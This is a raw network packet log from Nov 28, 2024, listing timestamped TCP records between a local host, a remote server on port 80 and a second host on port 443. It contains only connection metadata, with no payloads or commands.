Nov 28, 2024 08:55:52.338016987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.338685989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.338747025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.338809013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.338852882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.339546919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.339584112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.339615107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.339628935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.340373039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.340471029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.340543032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.341219902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.341303110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.341340065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.341386080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.342091084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.342153072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.342207909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.342252016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.342972994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.343029976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.343113899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.343161106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.343715906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.343831062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.343950033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.344546080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.344604969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.344630003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.344727039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.345375061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.345432043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.345438957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.345505953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.346275091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.346330881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.346389055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.346436024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.347055912 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.347182989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.347239971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.347882986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.347944975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.347980976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.348031044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.348717928 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.348911047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.348948002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.348963022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.349683046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.349750042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.349828005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.349874973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.350425959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.350536108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.350552082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.350723028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.351211071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.351269007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.351337910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.351397038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.352065086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.352122068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.352154970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.352210045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.352897882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.352952003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.353035927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.353290081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.353739023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.353794098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.354211092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.354280949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.354562998 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.354625940 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.354664087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.354722977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.355426073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.355447054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.355482101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.355494976 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.356229067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.356287956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.356379032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.356482029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.357145071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.357160091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.357198954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.357960939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.358030081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.358066082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.358144045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.358740091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.358788967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.358895063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.358948946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.359564066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.359642982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.359678030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.359791040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.360390902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.360447884 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.360512018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.360614061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.361238956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.361299992 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.361337900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.361381054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.362061024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.362209082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.362257004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.363015890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.363032103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.363087893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.363742113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.363801003 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.363801956 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.363850117 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.364593029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.364727020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.364754915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.364881039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.365434885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.365498066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.365591049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.365665913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.366240025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.366317987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.366432905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.367111921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.367171049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.367208004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.367235899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.368016005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.368057966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.368110895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.368773937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.368838072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.368849993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.368999958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.369627953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.369647026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.369693041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.369714975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.370419979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.370516062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.370569944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.370711088 CET	443	49801	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:52.371078968 CET	49801	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:52.371088982 CET	443	49801	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:52.371285915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.371349096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.371368885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.371438026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.371448040 CET	443	49801	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:52.371901989 CET	49801	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:52.371973038 CET	443	49801	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:52.372086048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.372162104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.372208118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.372286081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.372931957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.372993946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.373033047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.373090029 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.373763084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.373820066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.373857021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.373902082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.374629021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.374779940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.374847889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.375431061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.375490904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.413044930 CET	49801	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:52.416143894 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:52.416822910 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:52.416831970 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:52.417916059 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:52.418015003 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:52.418387890 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:52.418458939 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:52.473776102 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:52.473786116 CET	443	49802	23.216.132.33	192.168.2.8
Nov 28, 2024 08:55:52.520338058 CET	49802	443	192.168.2.8	23.216.132.33
Nov 28, 2024 08:55:52.542150021 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.542210102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.542366982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.542428017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.542581081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.542640924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.542813063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.542869091 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.543421030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.543472052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.543500900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.543612957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.544224024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.544274092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.544378996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.544552088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.545196056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.545254946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.545269966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.545301914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.546083927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.546159983 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.546180010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.546212912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.546773911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.546848059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.546905041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.547566891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.547700882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.547766924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.548401117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.548448086 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.548542976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.548597097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.549240112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.549261093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.549318075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.550127029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.550189018 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.550342083 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.550395012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.550923109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.550968885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.551011086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.551104069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.551734924 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.551794052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.551858902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.551908016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.552588940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.552655935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.552689075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.552763939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.553400993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.553451061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.553607941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.553725004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.554245949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.554303885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.554346085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.554389000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.555110931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.555156946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.555170059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.555238008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.555929899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.556029081 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.556088924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.556797028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.556890011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.556890965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.556969881 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.557593107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.557657957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.557683945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.557754040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.558442116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.558506012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.558543921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.558628082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.559259892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.559319973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.559320927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.559376955 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.560107946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.560209036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.560240984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.560254097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.560945034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.560981035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.561053038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.561784029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.561834097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.561881065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.561925888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.562608957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.562715054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.562742949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.562761068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.563500881 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.563575029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.563667059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.564280033 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.564343929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.564379930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.564503908 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.565129042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.565186024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.565222979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.565272093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.565926075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.566059113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.566088915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.566102028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.566803932 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.566920996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.566999912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.567620039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.567763090 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.567821026 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.568453074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.568506956 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.568547010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.568592072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.569288015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.569374084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.569432020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.570163012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.570216894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.570260048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.570365906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.570987940 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.571074009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.571129084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.571822882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.571872950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.571954966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.572047949 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.572629929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.572693110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.572779894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.572834015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.573546886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.573604107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.573693991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.574136972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.574307919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.574395895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.574474096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.574532032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.575156927 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.575221062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:52.575253963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:52.575299978 CET	49748	80	192.168.2.8	185.215.113.206
